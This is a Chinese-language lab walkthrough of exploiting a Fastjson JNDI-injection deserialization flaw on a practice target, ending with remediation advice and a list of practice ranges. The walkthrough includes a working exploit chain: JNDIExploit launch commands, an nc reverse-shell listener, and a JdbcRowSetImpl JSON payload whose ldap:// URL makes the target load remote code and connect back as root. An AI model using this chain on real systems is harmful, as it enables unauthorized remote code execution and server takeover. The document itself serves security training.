指纹识别 -> 漏洞探测 -> 搭建攻击环境 -> 构造 Payload -> RCE 提权
📚 一、 整体攻击链路复盘(上帝视角)
我们这次做的是一个非常经典的Fastjson 反序列化漏洞(JNDI 注入)的利用。整个流程就像一场精心策划的“特洛伊木马”行动:
- 踩点与伪装(信息收集):你发送了一个坏掉的 JSON (
{),逼目标服务器报错。服务器很诚实,把底层的错误信息(com.alibaba.fastjson.JSONException)打印出来了,这就暴露了它的身份和版本。 - 布置陷阱(启动攻击环境):你在 Kali 上启动了
JNDIExploit,这相当于开了一家“恶意军火库”(LDAP 服务 1389 端口 + HTTP 文件服务 3456 端口),并准备了反弹 Shell 的恶意代码。 - 投递木马(发送 Payload):你构造了一个带有
@type特性的恶意 JSON,通过 Yakit 发送给目标。这个 JSON 的作用是欺骗目标服务器去你的“军火库”拿武器。 - 触发爆炸(目标执行):目标服务器解析 JSON 时,被诱导去请求你的 LDAP 服务,然后下载并在自己的内存中执行了你的恶意类。
- 建立据点(反弹 Shell):恶意类执行后,主动向你的 Kali 的
34560端口发起连接,把服务器的控制权(Root Shell)交给了你。
🛠️ 二、 核心工具详解
本次实战我们用到了三个关键工具,理解它们的作用非常重要:
1. Yakit (Web Fuzzer)
- 作用:你的“发射器”。用来构造和发送精心设计的 HTTP 请求(包含了恶意 JSON 的 POST 请求)。
- 为什么用它:因为它可以方便地修改请求头(
Content-Type: application/json)和请求体,并且可以直观地看到服务器的响应。
2. JNDIExploit (核心武器库)
这是本次攻击的灵魂工具,它同时扮演了两个角色:
- LDAP 服务 (1389端口):当目标服务器发起 JNDI 查询时,这个服务负责接收请求,并返回一个“引用”(Reference),告诉目标:“你要的东西不在我这,去我的 HTTP 服务器下载吧”。
- HTTP 服务 (3456端口):负责托管恶意的
.class文件。目标服务器通过这个服务下载真正的执行代码。 - Payload 生成器:这个工具内置了多种利用链(如
ReverseShell反弹Shell、TomcatEcho回显等),我们只需要在 URL 中指定类型和参数(如 IP 和端口),它就会自动生成对应的恶意类。
3. Netcat (nc)
- 作用:你的“接收器”。用来监听一个本地端口(如 34560),等待目标服务器主动连接过来。
- 为什么用它:在 RCE(远程代码执行)利用中,由于目标在内网,我们无法直接连接它,所以要让目标反向连接我们(Reverse Shell)。
nc -nvlp 34560就是开启这个反向连接的门。
🧠 三、 底层原理深挖(为什么会成功?)
这里涉及到三个核心概念的连环触发:
- Fastjson 的
@type特性:
Fastjson 为了支持多态,允许在 JSON 中使用@type字段指定要反序列化的 Java 类。攻击者利用这一点,指定了com.sun.rowset.JdbcRowSetImpl这个类。 - JdbcRowSetImpl 的 JNDI 注入:
这个类在设置dataSourceName属性时,会调用lookup()方法。而如果dataSourceName是一个ldap://开头的地址,它就会去请求这个 LDAP 服务器。这就是漏洞触发点。 - JNDI (Java Naming and Directory Interface):
Java 的命名和目录接口。它可以用来访问 LDAP、RMI 等服务。当 Java 通过 JNDI 访问一个远程的 LDAP 服务时,如果服务端返回一个恶意的引用(Reference),Java 会自动去下载并实例化这个对象(这就是为什么叫 JNDI 注入)。
🛡️ 四、 防御与修复建议(实战视角)
如果你是一名安全工程师,面对这个漏洞该怎么修补?
- 升级 Fastjson 版本:这是最直接的方法。升级到 Fastjson 1.2.83 或更高版本,或者迁移到更安全的Fastjson2。
- 关闭 AutoType:在代码中开启
ParserConfig.getGlobalInstance().setSafeMode(true);,这样可以禁止@type指定的任意类反序列化。 - 限制 JNDI 访问:在 Java 虚拟机层面,可以通过设置
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false来禁止 JNDI 从远程加载代码。 - 网络层防御:限制服务器主动向外网发起连接(出网限制),可以有效阻断反弹 Shell。
🎓 五、 结语
通过这次实操,你不仅学会了怎么用 Yakit 发送请求,怎么用 JNDIExploit 架设服务,怎么用 NC 接收 Shell,更关键的是,你走完了完整的渗透测试流程。
那个 Yakit 的400报错其实是个很好的“彩蛋”——它告诉你,实战中不是每次攻击都会得到“完美”的响应,但只要底层逻辑通了,目标依然会被拿下。
实战步骤
第一阶段:信息收集与指纹识别
目标:确认目标网站是 Java 应用,并识别出它使用的是 Fastjson 库。
你的操作步骤:
步骤 1:基础访问与初步判断
- 在浏览器中访问目标网站:
http://10.3.4.93:8090 - 观察返回的内容(截图中是
{"age": 25, "name": "Bob"})。 - 思考:为什么老师看图 1 的 Logo 和返回内容就能初步判断是 Java 部署的网站?(提示:Spring Boot 默认返回 JSON 格式数据,且带有特定的图标)。
其实在“看图识别框架”这件事上,Logo 只是一个辅助线索。老师发给你看的这个“绿叶子”Logo,在渗透测试中有个专门的说法叫favicon(网站图标)识别。
🌿 常见框架的 Logo 特征
- Spring Boot:绿叶子图标。如果服务端没有自定义图标,默认会沿用 Spring Boot 的 Logo 。
- Apache Shiro:盾牌形图标。Shiro 本身没有自带的“网站Logo”,但在实战中常通过
Cookie中是否出现rememberMe字段来识别,这个字段的默认值rememberMe=deleteMe辨识度很高 。 - WordPress:蓝色圆底、白色字母“W”的 Logo。这是全球使用最广泛的 CMS,其默认的 favicon 和页面源码中的
wp-content、wp-includes路径是强识别特征 。
🔍 除了 Logo,还有哪些“一眼看出”的特征?
除了看 Logo,在渗透测试的“信息收集”阶段,通常还会从下面这几个维度交叉验证:
- 报错页面:这是最直接的证据。你老师教程里用的就是这招,通过构造畸形 JSON 拿到
com.alibaba.fastjson.JSONException的报错。类似地,Spring Boot 默认的白色报错页(Whitelabel Error Page)或包含nested exception字样的报错信息,都是极强的指纹 。 - Cookie 特征:这是最能直接暴露后端语言和框架的地方。如果 Set-Cookie 里出现
JSESSIONID,说明后端是 Java,而PHPSESSID则对应 PHP 。 - 响应头(Header):
Server或X-Powered-By等响应头偶尔会直接“自报家门”,比如X-Powered-By: ThinkPHP。 - URL 后缀:比如
.do、.action这样的后缀,通常和 Java 的 Struts 或 Spring MVC 框架相关 。
💡 工具推荐(进阶)
如果不想在浏览器里手工比对,可以使用Wappalyzer(浏览器插件或 API)或者WhatWeb这类工具自动分析页面源码、Headers 和 JS 文件等,输出一份完整的技术栈清单 。
步骤 2:构造畸形 JSON 报错探测
- 打开你的抓包工具(Burp Suite 或直接使用 Postman)。
在kali中使用yakit
(由于 AppImage 在 Kali 等部分系统上需要特殊权限,建议加上--no-sandbox参数启动)
./Yakit-1.4.9-0925-linux-amd64.AppImage --no-sandbox- 浏览器访问http://10.3.4.93:8090,Intercept 界面会抓到一个
GET请求(因为你是直接访问网址)。 - 右键点击这个抓到的请求区域,bp选择Send to Repeater(发送到重放器),快捷键是
Ctrl + R(Mac 是Cmd + R)。yakit则是发送到 Web Fuzzer - 构造一个
POST请求,发送到http://10.3.4.93:8090。 - 设置(添加)请求头【在请求头的末尾(
Host行的下方)】:
Content-Type: application/json
设置请求体(Body):故意写一个不闭合的畸形 JSON:
{- 发送请求。
步骤 3:分析报错信息获取指纹
- 观察服务器的响应(图 2 右侧)。
- 你会看到返回了 HTTP 400 错误,并且页面中包含了详细的异常堆栈。
- 在报错信息中寻找关键字:
nested exception is com.alibaba.fastjson.JSONException。 - 结论:确认目标使用了Fastjson库。
- 版本判断:结合老师教程中提到的
safe6Sec/Fastjson项目,我们知道 Fastjson 在1.2.9 到 1.2.47版本之间存在通用的反序列化漏洞,这就是我们接下来要利用的突破口。
第二阶段:搭建攻击环境
目标:在你自己的攻击机上启动恶意 LDAP 和 HTTP 服务,用来接收目标发来的 JNDI 请求并托管恶意代码。
你的操作步骤:
步骤 1:准备攻击工具
- 在你的攻击机(Kali 或 VPS)上,下载教程里提到的工具包:
JNDIExploit-1.3-SNAPSHOT.jar。 - 确保你的攻击机已经安装了 Java 运行环境(JDK 1.8 左右即可)。
步骤 2:启动 JNDI 恶意服务
- 在攻击机的命令行终端中,进入存放 jar 包的目录。
执行以下命令启动服务(注意替换 IP):
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 你的攻击机IP(例如,如果老师的攻击机 IP 是192.168.230.16,命令就是java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.230.16)
验证启动:成功启动后,终端会输出类似下面的内容:
[+] LDAP Server Start Listening on 1389 ...
[+] HTTP Server Start Listening on 3456 ...
(这代表 LDAP 服务监听了 1389 端口,HTTP 服务监听了 3456 端口)
步骤 3:查看可用 Payload
为了确认我们可以使用哪种反弹 Shell 的格式,你可以执行下面这个命令查看工具帮助:
java -jar JNDIExploit-1.3-SNAPSHOT.jar -u在输出的信息里,找到反弹 Shell 的格式(通常是):ldap://你的IP:1389/Basic/ReverseShell/[你的IP]/[你准备监听的端口]
第三阶段:准备接收反弹 Shell
目标:启动恶意服务,并开启监听端口等待目标机器上线。
步骤 1:正式启动 JNDI 恶意服务(终端窗口 A)
- 在你现在的这个终端(或者新开一个终端),进入工具所在目录,已经开过了就不用操作这一步了。
执行启动命令(注意:这次不要加-u,并且把 IP 换成你攻击机的真实 IP):
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 你的攻击机IP(例如:java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.230.16)
成功标志:终端会挂起并显示:
[+] LDAP Server Start Listening on 1389 ... [+] HTTP Server Start Listening on 3456 ...⚠️注意:这个终端窗口不要关闭,让它一直挂着运行。
只能开一个监听窗口,除非换一个端口
方法一:杀掉之前占用的进程(推荐)
如果你不知道之前那个窗口去哪了,或者它还在后台挂着,可以在当前终端执行以下命令强制结束所有占用端口的 Java 进程:
pkill -f JNDIExploit或者
kill -9 $(lsof -t -i:1389)执行完后,再次运行你的启动命令:
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.196.78如果成功,终端会显示LDAP Server Start Listening on 1389 ...和HTTP Server Start Listening on 3456 ...。
方法二:查找并手动关闭旧窗口
检查你的任务栏或终端标签页,看看是不是之前运行过java -jar JNDIExploit...的那个终端窗口没有关闭。直接在那个窗口按Ctrl + C终止它,然后再开一个新的终端来运行。
方法三:换个端口启动(如果 1389 被其他重要服务占用)
如果 1389 端口被系统里其他必须运行的服务占用了,你可以给工具指定新的端口:
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.196.78 -l 13890 -p 34560(解释:-l指定 LDAP 端口为 13890,-p指定 HTTP 端口为 34560)
注意,如果你换了 LDAP 端口,之后构造 Payload 时也要把端口改成新的:ldap://192.168.196.78:13890/Basic/ReverseShell/192.168.196.78/34560
若杀不掉
🔍 第一步:排查是谁占用了端口
在终端里执行以下命令,看看究竟是谁霸占了 1389 端口:
sudo lsof -i:1389(如果提示没有 lsof,可以用netstat -tulnp | grep 1389代替)
可能出现的两种情况:
- 如果是 Java 进程:说明你的
JNDIExploit还在后台没死透。 - 如果是其他进程(如 dnsmasq 等):说明你 Kali 系统里有别的服务占用了这个端口。
🛠️ 第二步:暴力清理(推荐)
不管是谁,为了确保环境干净,直接执行以下命令强制杀掉占用 1389 和 3456 端口的进程:
sudo fuser -k 1389/tcp sudo fuser -k 3456/tcp(fuser -k可以直接根据端口号杀掉相关进程,非常管用)
杀掉后,再次执行启动命令:
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.196.78💡 备选方案:如果 1389 被系统重要服务占用无法释放
在 Kali 中,有时 1389 会被其他系统服务(如 LDAP 客户端服务)占用。
如果清理后依然报错,不要死磕,直接换端口启动。
执行以下命令,把 LDAP 端口改成13890(注意多了一个0):
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.196.78 -l 13890⚠️特别注意:如果你使用了备选方案换成了13890端口,那么在下一阶段构造 JNDI 链接时,链接里的端口也要改成 13890,即:ldap://192.168.196.78:13890/Basic/ReverseShell/192.168.196.78/34560
步骤 2:开启 NC 监听端口(终端窗口 B)
- 新开一个终端窗口(不要关掉刚才那个)。
执行监听命令。这里非常关键,端口不要写 3456(因为被工具占用了),我们用 34560:
nc -nvlp 34560- 成功标志:终端会显示
listening on [any] 34560 ...,然后光标闪烁,等待连接。
步骤 3:构造最终的 JNDI Payload
根据你截图里看到的格式(ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port]),结合我们刚才设置的参数,最终的 Payload 是:
ldap://你的攻击机IP:1389/Basic/ReverseShell/你的攻击机IP/34560(例如:ldap://192.168.230.16:1389/Basic/ReverseShell/192.168.230.16/34560)
把这个 Payload 记下来,下一阶段我们要把它塞进 JSON 里发给目标。
ldap://192.168.196.78:1389/Basic/ReverseShell/192.168.196.78/34560第四阶段:构造 Fastjson 恶意 Payload 并发送
目标:把我们准备好的 JNDI 链接,塞进 Fastjson 的利用链里,发给目标服务器。
步骤 1:回到 Yakit 的 Web Fuzzer
回到你刚才成功测试出HTTP/1.1 400的那个请求页面。
步骤 2:替换请求体(Body)
把第 11 行那个单独的{删掉,替换成下面这段完整的 JSON 代码:
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.196.78:1389/Basic/ReverseShell/192.168.196.78/34560", "autoCommit": true } }⚠️极其重要的检查:
请务必仔细核对dataSourceName里的 IP 和端口:
- 第一处 IP
192.168.196.78:这是你的 JNDI 攻击服务器 IP。 - 端口
1389:这是你启动 JNDI 工具时监听的 LDAP 端口 - (如果你之前换了端口,这里要跟着改)不过我一般不会换。
- 第二处 IP
192.168.196.78:这是你准备接收反弹 Shell 的 IP(通常和攻击机一样)。 - 端口
34560:这是你之前用nc -nvlp 34560开启的监听端口。
步骤 3:确保请求头正确
- 第 1 行:必须是
POST / HTTP/1.1 - 第 9 行:必须有
Content-Type: application/json - 请求头和 JSON 之间必须有一个空行(第 10 行)。
步骤 4:发送攻击
点击 Yakit 的发送按钮。
第五阶段:验证与获取权限
观察点 1:Yakit 的响应
- 如果攻击成功,目标服务器的响应可能是一个
HTTP/1.1 500错误(因为 Fastjson 在反序列化时会去请求你的 LDAP 服务,这个过程可能会让请求超时或抛出异常)。 - 也可能会返回正常页面或 200,这取决于目标服务器的配置。不要只盯着 Yakit 的响应看。
观察点 2:JNDI 工具终端(你启动java -jar的那个窗口)
这是判断攻击是否成功的关键。如果你看到类似下面的日志输出,说明目标已经上钩:
[+] Received LDAP Query: Basic/ReverseShell/192.168.196.78/34560 [+] Payload: reversereverse [+] Sending LDAP ResourceRef result for Basic/ReverseShell/192.168.196.78/34560 [+] New HTTP Request From /10.3.4.93:xxxxx /ExploitXXXXX.class [+] Receive ClassRequest: ExploitXXXXX.class [+] Response Code: 200(解释:目标通过 LDAP 查询了你的服务,然后通过 HTTP 请求下载了恶意的.class文件并执行)
观察点 3:NC 监听终端(你执行nc -nvlp 34560的那个窗口)
如果前面的步骤都顺利,此时你的 NC 窗口会弹出一串连接信息,并且出现类似bash: cannot set terminal process group...的提示,最后会给你一个命令提示符(比如root@...:/#)。
(就是在 NC 窗口里输入以下命令验证)
就是在那个root@1cf5a9298273:/#的光标后面,试着输入几个命令,感受一下“拿下服务器”的感觉:
- 输入
whoami回车,确认是不是 root。 - 输入
ls回车,看看它里面有什么文件。 - 输入
ip a回车,看看它的内网 IP 是不是10.3.4.93。
whoami如果返回root,恭喜你,RCE 成功!
最后总结和扩展练习
🛠️ 复现这次攻击的关键条件
你这次的攻击能成功,除了工具和payload,其实还依赖了目标环境的特定“窗口”:
- Fastjson 版本:介于 1.2.25 到 1.2.47 之间,这个区间有利用
@type绕过checkAutoType的经典漏洞。 - JDK 版本:必须是低版本(如 JDK 8u191 以下),高版本 JDK 默认禁止 JNDI 远程加载代码,攻击会被拦截。
- 配置状态:通常是 AutoType 未开启(或开发者手动开启了),或者处于 SafeMode 未启用的默认状态。
📚 推荐练手靶场与进阶方向
下面的靶场能帮助你从不同维度巩固和理解 Fastjson 漏洞,可以根据自己的基础选择:
靶场 / 项目 | 核心特点 | 适合人群 | 获取地址 |
Vulhub | 一键启动经典漏洞环境(含 1.2.24-rce、1.2.47-rce) | 希望快速复现基础漏洞,理解利用链的初学者 | GitHub: |
why-success/fastjson-rce-lab | 针对 1.2.83 高版本的 Gadget-free 利用,更接近真实场景 | 已掌握基础,希望挑战高版本绕过的人 | GitHub: |
Ape1ron/fastjson1283poc_public | 覆盖 Tomcat/Jetty 等不同容器、JDK 8/17 等不同 JDK 的利用路径 | 对底层利用技术感兴趣,想在复杂环境下练习 | GitHub: |
JavaVul | 提供从 1.2.24 到 1.2.66 等多个版本的靶场,便于系统化练习 | 希望系统练习各个版本绕过技术的进阶者 | GitHub: |
你可以先从Vulhub里较新的 1.2.47-rce 环境开始,对比你这次的操作,会发现在环境搭建上简单很多。之后如果想挑战,可以去尝试 1.2.83 的靶场,那里更需要你理解LaunchedURLClassLoader或/proc/self/fd这类底层机制。